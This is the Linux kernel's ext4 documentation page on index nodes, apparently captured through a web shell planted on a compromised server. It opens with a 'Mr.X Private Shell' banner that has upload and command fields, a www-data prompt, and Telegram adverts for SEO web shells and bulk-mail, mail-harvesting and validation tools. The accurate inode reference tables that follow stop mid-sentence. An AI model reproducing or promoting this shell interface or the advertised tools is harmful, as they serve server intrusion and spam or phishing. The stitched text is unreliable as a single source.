__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.192: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>4.1. Index Nodes &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../../_static/alabaster.css?v=3918102e" />
    <script src="../../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../../_static/doctools.js?v=9bcbadda"></script>
    <script src="../../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../../genindex.html" />
    <link rel="search" title="Search" href="../../search.html" />
    <link rel="next" title="4.2. The Contents of inode.i_block" href="ifork.html" />
    <link rel="prev" title="4. Dynamic Structures" href="dynamic.html" />
   
  <link rel="stylesheet" href="../../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../../index.html">
              <img class="logo" src="../../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="../index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../../_sources/filesystems/ext4/inodes.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="index-nodes">
<h1><span class="section-number">4.1. </span>Index Nodes<a class="headerlink" href="#index-nodes" title="Link to this heading">¶</a></h1>
<p>In a regular UNIX filesystem, the inode stores all the metadata
pertaining to the file (time stamps, block maps, extended attributes,
etc), not the directory entry. To find the information associated with a
file, one must traverse the directory files to find the directory entry
associated with a file, then load the inode to find the metadata for
that file. ext4 appears to cheat (for performance reasons) a little bit
by storing a copy of the file type (normally stored in the inode) in the
directory entry. (Compare all this to FAT, which stores all the file
information directly in the directory entry, but does not support hard
links and is in general more seek-happy than ext4 due to its simpler
block allocator and extensive use of linked lists.)</p>
<p>The inode table is a linear array of <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">ext4_inode</span></code>. The table is
sized to have enough blocks to store at least
<code class="docutils literal notranslate"><span class="pre">sb.s_inode_size</span> <span class="pre">*</span> <span class="pre">sb.s_inodes_per_group</span></code> bytes. The number of the
block group containing an inode can be calculated as
<code class="docutils literal notranslate"><span class="pre">(inode_number</span> <span class="pre">-</span> <span class="pre">1)</span> <span class="pre">/</span> <span class="pre">sb.s_inodes_per_group</span></code>, and the offset into the
group’s table is <code class="docutils literal notranslate"><span class="pre">(inode_number</span> <span class="pre">-</span> <span class="pre">1)</span> <span class="pre">%</span> <span class="pre">sb.s_inodes_per_group</span></code>. There
is no inode 0.</p>
<p>The inode checksum is calculated against the FS UUID, the inode number,
and the inode structure itself.</p>
<p>The inode table entry is laid out in <code class="docutils literal notranslate"><span class="pre">struct</span> <span class="pre">ext4_inode</span></code>.</p>
<table class="longtable docutils align-default">
<colgroup>
<col style="width: 10.0%" />
<col style="width: 10.0%" />
<col style="width: 30.0%" />
<col style="width: 50.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Offset</p></th>
<th class="head"><p>Size</p></th>
<th class="head"><p>Name</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x0</p></td>
<td><p>__le16</p></td>
<td><p>i_mode</p></td>
<td><p>File mode. See the table <a class="reference internal" href="#i-mode">i_mode</a> below.</p></td>
</tr>
<tr class="row-odd"><td><p>0x2</p></td>
<td><p>__le16</p></td>
<td><p>i_uid</p></td>
<td><p>Lower 16-bits of Owner UID.</p></td>
</tr>
<tr class="row-even"><td><p>0x4</p></td>
<td><p>__le32</p></td>
<td><p>i_size_lo</p></td>
<td><p>Lower 32-bits of size in bytes.</p></td>
</tr>
<tr class="row-odd"><td><p>0x8</p></td>
<td><p>__le32</p></td>
<td><p>i_atime</p></td>
<td><p>Last access time, in seconds since the epoch. However, if the EA_INODE
inode flag is set, this inode stores an extended attribute value and
this field contains the checksum of the value.</p></td>
</tr>
<tr class="row-even"><td><p>0xC</p></td>
<td><p>__le32</p></td>
<td><p>i_ctime</p></td>
<td><p>Last inode change time, in seconds since the epoch. However, if the
EA_INODE inode flag is set, this inode stores an extended attribute
value and this field contains the lower 32 bits of the attribute value’s
reference count.</p></td>
</tr>
<tr class="row-odd"><td><p>0x10</p></td>
<td><p>__le32</p></td>
<td><p>i_mtime</p></td>
<td><p>Last data modification time, in seconds since the epoch. However, if the
EA_INODE inode flag is set, this inode stores an extended attribute
value and this field contains the number of the inode that owns the
extended attribute.</p></td>
</tr>
<tr class="row-even"><td><p>0x14</p></td>
<td><p>__le32</p></td>
<td><p>i_dtime</p></td>
<td><p>Deletion Time, in seconds since the epoch.</p></td>
</tr>
<tr class="row-odd"><td><p>0x18</p></td>
<td><p>__le16</p></td>
<td><p>i_gid</p></td>
<td><p>Lower 16-bits of GID.</p></td>
</tr>
<tr class="row-even"><td><p>0x1A</p></td>
<td><p>__le16</p></td>
<td><p>i_links_count</p></td>
<td><p>Hard link count. Normally, ext4 does not permit an inode to have more
than 65,000 hard links. This applies to files as well as directories,
which means that there cannot be more than 64,998 subdirectories in a
directory (each subdirectory’s ‘..’ entry counts as a hard link, as does
the ‘.’ entry in the directory itself). With the DIR_NLINK feature
enabled, ext4 supports more than 64,998 subdirectories by setting this
field to 1 to indicate that the number of hard links is not known.</p></td>
</tr>
<tr class="row-odd"><td><p>0x1C</p></td>
<td><p>__le32</p></td>
<td><p>i_blocks_lo</p></td>
<td><p>Lower 32-bits of “block” count. If the huge_file feature flag is not
set on the filesystem, the file consumes <code class="docutils literal notranslate"><span class="pre">i_blocks_lo</span></code> 512-byte blocks
on disk. If huge_file is set and EXT4_HUGE_FILE_FL is NOT set in
<code class="docutils literal notranslate"><span class="pre">inode.i_flags</span></code>, then the file consumes <code class="docutils literal notranslate"><span class="pre">i_blocks_lo</span> <span class="pre">+</span> <span class="pre">(i_blocks_hi</span>
<span class="pre">&lt;&lt;</span> <span class="pre">32)</span></code> 512-byte blocks on disk. If huge_file is set and
EXT4_HUGE_FILE_FL IS set in <code class="docutils literal notranslate"><span class="pre">inode.i_flags</span></code>, then this file
consumes (<code class="docutils literal notranslate"><span class="pre">i_blocks_lo</span> <span class="pre">+</span> <span class="pre">i_blocks_hi</span></code> &lt;&lt; 32) filesystem blocks on
disk.</p></td>
</tr>
<tr class="row-even"><td><p>0x20</p></td>
<td><p>__le32</p></td>
<td><p>i_flags</p></td>
<td><p>Inode flags. See the table <a class="reference internal" href="#i-flags">i_flags</a> below.</p></td>
</tr>
<tr class="row-odd"><td><p>0x24</p></td>
<td><p>4 bytes</p></td>
<td><p>i_osd1</p></td>
<td><p>See the table <a class="reference internal" href="#i-osd1">i_osd1</a> for more details.</p></td>
</tr>
<tr class="row-even"><td><p>0x28</p></td>
<td><p>60 bytes</p></td>
<td><p>i_block[EXT4_N_BLOCKS=15]</p></td>
<td><p>Block map or extent tree. See the section “The Contents of inode.i_block”.</p></td>
</tr>
<tr class="row-odd"><td><p>0x64</p></td>
<td><p>__le32</p></td>
<td><p>i_generation</p></td>
<td><p>File version (for NFS).</p></td>
</tr>
<tr class="row-even"><td><p>0x68</p></td>
<td><p>__le32</p></td>
<td><p>i_file_acl_lo</p></td>
<td><p>Lower 32-bits of extended attribute block. ACLs are of course one of
many possible extended attributes; I think the name of this field is a
result of the first use of extended attributes being for ACLs.</p></td>
</tr>
<tr class="row-odd"><td><p>0x6C</p></td>
<td><p>__le32</p></td>
<td><p>i_size_high / i_dir_acl</p></td>
<td><p>Upper 32-bits of file/directory size. In ext2/3 this field was named
i_dir_acl, though it was usually set to zero and never used.</p></td>
</tr>
<tr class="row-even"><td><p>0x70</p></td>
<td><p>__le32</p></td>
<td><p>i_obso_faddr</p></td>
<td><p>(Obsolete) fragment address.</p></td>
</tr>
<tr class="row-odd"><td><p>0x74</p></td>
<td><p>12 bytes</p></td>
<td><p>i_osd2</p></td>
<td><p>See the table <a class="reference internal" href="#i-osd2">i_osd2</a> for more details.</p></td>
</tr>
<tr class="row-even"><td><p>0x80</p></td>
<td><p>__le16</p></td>
<td><p>i_extra_isize</p></td>
<td><p>Size of this inode - 128. Alternately, the size of the extended inode
fields beyond the original ext2 inode, including this field.</p></td>
</tr>
<tr class="row-odd"><td><p>0x82</p></td>
<td><p>__le16</p></td>
<td><p>i_checksum_hi</p></td>
<td><p>Upper 16-bits of the inode checksum.</p></td>
</tr>
<tr class="row-even"><td><p>0x84</p></td>
<td><p>__le32</p></td>
<td><p>i_ctime_extra</p></td>
<td><p>Extra change time bits. This provides sub-second precision. See Inode
Timestamps section.</p></td>
</tr>
<tr class="row-odd"><td><p>0x88</p></td>
<td><p>__le32</p></td>
<td><p>i_mtime_extra</p></td>
<td><p>Extra modification time bits. This provides sub-second precision.</p></td>
</tr>
<tr class="row-even"><td><p>0x8C</p></td>
<td><p>__le32</p></td>
<td><p>i_atime_extra</p></td>
<td><p>Extra access time bits. This provides sub-second precision.</p></td>
</tr>
<tr class="row-odd"><td><p>0x90</p></td>
<td><p>__le32</p></td>
<td><p>i_crtime</p></td>
<td><p>File creation time, in seconds since the epoch.</p></td>
</tr>
<tr class="row-even"><td><p>0x94</p></td>
<td><p>__le32</p></td>
<td><p>i_crtime_extra</p></td>
<td><p>Extra file creation time bits. This provides sub-second precision.</p></td>
</tr>
<tr class="row-odd"><td><p>0x98</p></td>
<td><p>__le32</p></td>
<td><p>i_version_hi</p></td>
<td><p>Upper 32-bits for version number.</p></td>
</tr>
<tr class="row-even"><td><p>0x9C</p></td>
<td><p>__le32</p></td>
<td><p>i_projid</p></td>
<td><p>Project ID.</p></td>
</tr>
</tbody>
</table>
<p id="i-mode">The <code class="docutils literal notranslate"><span class="pre">i_mode</span></code> value is a combination of the following flags:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 20.0%" />
<col style="width: 80.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Value</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x1</p></td>
<td><p>S_IXOTH (Others may execute)</p></td>
</tr>
<tr class="row-odd"><td><p>0x2</p></td>
<td><p>S_IWOTH (Others may write)</p></td>
</tr>
<tr class="row-even"><td><p>0x4</p></td>
<td><p>S_IROTH (Others may read)</p></td>
</tr>
<tr class="row-odd"><td><p>0x8</p></td>
<td><p>S_IXGRP (Group members may execute)</p></td>
</tr>
<tr class="row-even"><td><p>0x10</p></td>
<td><p>S_IWGRP (Group members may write)</p></td>
</tr>
<tr class="row-odd"><td><p>0x20</p></td>
<td><p>S_IRGRP (Group members may read)</p></td>
</tr>
<tr class="row-even"><td><p>0x40</p></td>
<td><p>S_IXUSR (Owner may execute)</p></td>
</tr>
<tr class="row-odd"><td><p>0x80</p></td>
<td><p>S_IWUSR (Owner may write)</p></td>
</tr>
<tr class="row-even"><td><p>0x100</p></td>
<td><p>S_IRUSR (Owner may read)</p></td>
</tr>
<tr class="row-odd"><td><p>0x200</p></td>
<td><p>S_ISVTX (Sticky bit)</p></td>
</tr>
<tr class="row-even"><td><p>0x400</p></td>
<td><p>S_ISGID (Set GID)</p></td>
</tr>
<tr class="row-odd"><td><p>0x800</p></td>
<td><p>S_ISUID (Set UID)</p></td>
</tr>
<tr class="row-even"><td></td>
<td><p>These are mutually-exclusive file types:</p></td>
</tr>
<tr class="row-odd"><td><p>0x1000</p></td>
<td><p>S_IFIFO (FIFO)</p></td>
</tr>
<tr class="row-even"><td><p>0x2000</p></td>
<td><p>S_IFCHR (Character device)</p></td>
</tr>
<tr class="row-odd"><td><p>0x4000</p></td>
<td><p>S_IFDIR (Directory)</p></td>
</tr>
<tr class="row-even"><td><p>0x6000</p></td>
<td><p>S_IFBLK (Block device)</p></td>
</tr>
<tr class="row-odd"><td><p>0x8000</p></td>
<td><p>S_IFREG (Regular file)</p></td>
</tr>
<tr class="row-even"><td><p>0xA000</p></td>
<td><p>S_IFLNK (Symbolic link)</p></td>
</tr>
<tr class="row-odd"><td><p>0xC000</p></td>
<td><p>S_IFSOCK (Socket)</p></td>
</tr>
</tbody>
</table>
<p id="i-flags">The <code class="docutils literal notranslate"><span class="pre">i_flags</span></code> field is a combination of these values:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 20.0%" />
<col style="width: 80.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Value</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x1</p></td>
<td><p>This file requires secure deletion (EXT4_SECRM_FL). (not implemented)</p></td>
</tr>
<tr class="row-odd"><td><p>0x2</p></td>
<td><p>This file should be preserved, should undeletion be desired
(EXT4_UNRM_FL). (not implemented)</p></td>
</tr>
<tr class="row-even"><td><p>0x4</p></td>
<td><p>File is compressed (EXT4_COMPR_FL). (not really implemented)</p></td>
</tr>
<tr class="row-odd"><td><p>0x8</p></td>
<td><p>All writes to the file must be synchronous (EXT4_SYNC_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x10</p></td>
<td><p>File is immutable (EXT4_IMMUTABLE_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x20</p></td>
<td><p>File can only be appended (EXT4_APPEND_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x40</p></td>
<td><p>The dump(1) utility should not dump this file (EXT4_NODUMP_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x80</p></td>
<td><p>Do not update access time (EXT4_NOATIME_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x100</p></td>
<td><p>Dirty compressed file (EXT4_DIRTY_FL). (not used)</p></td>
</tr>
<tr class="row-odd"><td><p>0x200</p></td>
<td><p>File has one or more compressed clusters (EXT4_COMPRBLK_FL). (not used)</p></td>
</tr>
<tr class="row-even"><td><p>0x400</p></td>
<td><p>Do not compress file (EXT4_NOCOMPR_FL). (not used)</p></td>
</tr>
<tr class="row-odd"><td><p>0x800</p></td>
<td><p>Encrypted inode (EXT4_ENCRYPT_FL). This bit value previously was
EXT4_ECOMPR_FL (compression error), which was never used.</p></td>
</tr>
<tr class="row-even"><td><p>0x1000</p></td>
<td><p>Directory has hashed indexes (EXT4_INDEX_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x2000</p></td>
<td><p>AFS magic directory (EXT4_IMAGIC_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x4000</p></td>
<td><p>File data must always be written through the journal
(EXT4_JOURNAL_DATA_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x8000</p></td>
<td><p>File tail should not be merged (EXT4_NOTAIL_FL). (not used by ext4)</p></td>
</tr>
<tr class="row-even"><td><p>0x10000</p></td>
<td><p>All directory entry data should be written synchronously (see
<code class="docutils literal notranslate"><span class="pre">dirsync</span></code>) (EXT4_DIRSYNC_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x20000</p></td>
<td><p>Top of directory hierarchy (EXT4_TOPDIR_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x40000</p></td>
<td><p>This is a huge file (EXT4_HUGE_FILE_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x80000</p></td>
<td><p>Inode uses extents (EXT4_EXTENTS_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x100000</p></td>
<td><p>Verity protected file (EXT4_VERITY_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x200000</p></td>
<td><p>Inode stores a large extended attribute value in its data blocks
(EXT4_EA_INODE_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x400000</p></td>
<td><p>This file has blocks allocated past EOF (EXT4_EOFBLOCKS_FL).
(deprecated)</p></td>
</tr>
<tr class="row-odd"><td><p>0x01000000</p></td>
<td><p>Inode is a snapshot (<code class="docutils literal notranslate"><span class="pre">EXT4_SNAPFILE_FL</span></code>). (not in mainline)</p></td>
</tr>
<tr class="row-even"><td><p>0x04000000</p></td>
<td><p>Snapshot is being deleted (<code class="docutils literal notranslate"><span class="pre">EXT4_SNAPFILE_DELETED_FL</span></code>). (not in
mainline)</p></td>
</tr>
<tr class="row-odd"><td><p>0x08000000</p></td>
<td><p>Snapshot shrink has completed (<code class="docutils literal notranslate"><span class="pre">EXT4_SNAPFILE_SHRUNK_FL</span></code>). (not in
mainline)</p></td>
</tr>
<tr class="row-even"><td><p>0x10000000</p></td>
<td><p>Inode has inline data (EXT4_INLINE_DATA_FL).</p></td>
</tr>
<tr class="row-odd"><td><p>0x20000000</p></td>
<td><p>Create children with the same project ID (EXT4_PROJINHERIT_FL).</p></td>
</tr>
<tr class="row-even"><td><p>0x80000000</p></td>
<td><p>Reserved for ext4 library (EXT4_RESERVED_FL).</p></td>
</tr>
<tr class="row-odd"><td></td>
<td><p>Aggregate flags:</p></td>
</tr>
<tr class="row-even"><td><p>0x705BDFFF</p></td>
<td><p>User-visible flags.</p></td>
</tr>
<tr class="row-odd"><td><p>0x604BC0FF</p></td>
<td><p>User-modifiable flags. Note that while EXT4_JOURNAL_DATA_FL and
EXT4_EXTENTS_FL can be set with setattr, they are not in the kernel’s
EXT4_FL_USER_MODIFIABLE mask, since it needs to handle the setting of
these flags in a special manner and they are masked out of the set of
flags that are saved directly to i_flags.</p></td>
</tr>
</tbody>
</table>
<p id="i-osd1">The <code class="docutils literal notranslate"><span class="pre">osd1</span></code> field has multiple meanings depending on the creator:</p>
<p>Linux:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 10.0%" />
<col style="width: 10.0%" />
<col style="width: 30.0%" />
<col style="width: 50.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Offset</p></th>
<th class="head"><p>Size</p></th>
<th class="head"><p>Name</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x0</p></td>
<td><p>__le32</p></td>
<td><p>l_i_version</p></td>
<td><p>Inode version. However, if the EA_INODE inode flag is set, this inode
stores an extended attribute value and this field contains the upper 32
bits of the attribute value’s reference count.</p></td>
</tr>
</tbody>
</table>
<p>Hurd:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 10.0%" />
<col style="width: 10.0%" />
<col style="width: 30.0%" />
<col style="width: 50.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Offset</p></th>
<th class="head"><p>Size</p></th>
<th class="head"><p>Name</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x0</p></td>
<td><p>__le32</p></td>
<td><p>h_i_translator</p></td>
<td><p>??</p></td>
</tr>
</tbody>
</table>
<p>Masix:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 10.0%" />
<col style="width: 10.0%" />
<col style="width: 30.0%" />
<col style="width: 50.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Offset</p></th>
<th class="head"><p>Size</p></th>
<th class="head"><p>Name</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x0</p></td>
<td><p>__le32</p></td>
<td><p>m_i_reserved</p></td>
<td><p>??</p></td>
</tr>
</tbody>
</table>
<p id="i-osd2">The <code class="docutils literal notranslate"><span class="pre">osd2</span></code> field has multiple meanings depending on the filesystem creator:</p>
<p>Linux:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 10.0%" />
<col style="width: 10.0%" />
<col style="width: 30.0%" />
<col style="width: 50.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Offset</p></th>
<th class="head"><p>Size</p></th>
<th class="head"><p>Name</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x0</p></td>
<td><p>__le16</p></td>
<td><p>l_i_blocks_high</p></td>
<td><p>Upper 16-bits of the block count. Please see the note attached to
i_blocks_lo.</p></td>
</tr>
<tr class="row-odd"><td><p>0x2</p></td>
<td><p>__le16</p></td>
<td><p>l_i_file_acl_high</p></td>
<td><p>Upper 16-bits of the extended attribute block (historically, the file
ACL location). See the Extended Attributes section below.</p></td>
</tr>
<tr class="row-even"><td><p>0x4</p></td>
<td><p>__le16</p></td>
<td><p>l_i_uid_high</p></td>
<td><p>Upper 16-bits of the Owner UID.</p></td>
</tr>
<tr class="row-odd"><td><p>0x6</p></td>
<td><p>__le16</p></td>
<td><p>l_i_gid_high</p></td>
<td><p>Upper 16-bits of the GID.</p></td>
</tr>
<tr class="row-even"><td><p>0x8</p></td>
<td><p>__le16</p></td>
<td><p>l_i_checksum_lo</p></td>
<td><p>Lower 16-bits of the inode checksum.</p></td>
</tr>
<tr class="row-odd"><td><p>0xA</p></td>
<td><p>__le16</p></td>
<td><p>l_i_reserved</p></td>
<td><p>Unused.</p></td>
</tr>
</tbody>
</table>
<p>Hurd:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 10.0%" />
<col style="width: 10.0%" />
<col style="width: 30.0%" />
<col style="width: 50.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Offset</p></th>
<th class="head"><p>Size</p></th>
<th class="head"><p>Name</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x0</p></td>
<td><p>__le16</p></td>
<td><p>h_i_reserved1</p></td>
<td><p>??</p></td>
</tr>
<tr class="row-odd"><td><p>0x2</p></td>
<td><p>__u16</p></td>
<td><p>h_i_mode_high</p></td>
<td><p>Upper 16-bits of the file mode.</p></td>
</tr>
<tr class="row-even"><td><p>0x4</p></td>
<td><p>__le16</p></td>
<td><p>h_i_uid_high</p></td>
<td><p>Upper 16-bits of the Owner UID.</p></td>
</tr>
<tr class="row-odd"><td><p>0x6</p></td>
<td><p>__le16</p></td>
<td><p>h_i_gid_high</p></td>
<td><p>Upper 16-bits of the GID.</p></td>
</tr>
<tr class="row-even"><td><p>0x8</p></td>
<td><p>__u32</p></td>
<td><p>h_i_author</p></td>
<td><p>Author code?</p></td>
</tr>
</tbody>
</table>
<p>Masix:</p>
<table class="docutils align-default">
<colgroup>
<col style="width: 10.0%" />
<col style="width: 10.0%" />
<col style="width: 30.0%" />
<col style="width: 50.0%" />
</colgroup>
<thead>
<tr class="row-odd"><th class="head"><p>Offset</p></th>
<th class="head"><p>Size</p></th>
<th class="head"><p>Name</p></th>
<th class="head"><p>Description</p></th>
</tr>
</thead>
<tbody>
<tr class="row-even"><td><p>0x0</p></td>
<td><p>__le16</p></td>
<td><p>h_i_reserved1</p></td>
<td><p>??</p></td>
</tr>
<tr class="row-odd"><td><p>0x2</p></td>
<td><p>__u16</p></td>
<td><p>m_i_file_acl_high</p></td>
<td><p>Upper 16-bits of the extended attribute block (historically, the file
ACL location).</p></td>
</tr>
<tr class="row-even"><td><p>0x4</p></td>
<td><p>__u32</p></td>
<td><p>m_i_reserved2[2]</p></td>
<td><p>??</p></td>
</tr>
</tbody>
</table>
<section id="inode-size">
<h2><span class="section-number">4.1.1. </span>Inode Size<a class="headerlink" href="#inode-size" title="Link to this heading">¶</a></h2>
<p>In ext2 and ext3, the inode structure size was fixed at 128 bytes
(<code class="docutils literal notranslate"><span class="pre">EXT2_GOOD_OLD_INODE_SIZE</span></code>) and each inode had a disk record size of
128 bytes. Starting with ext4, it is possible to allocate a larger
on-disk inode at format time for all inodes in the filesystem to provide
space beyond the end of the original ext2 inode. The on-disk inode
record size is recorded in the superblock as <code class="docutils literal notranslate"><span class="pre">s_inode_size</span></code>. The
number of bytes actually used by <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">ext4_inode</span></code> beyond the original
128-byte ext2 inode is recorded in the <code class="docutils literal notranslate"><span class="pre">i_extra_isize</span></code> field for each
inode, which allows <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">ext4_inode</span></code> to grow for a new kernel without
having to upgrade all of the on-disk inodes. Access to fields beyond
EXT2_GOOD_OLD_INODE_SIZE should be verified to be within
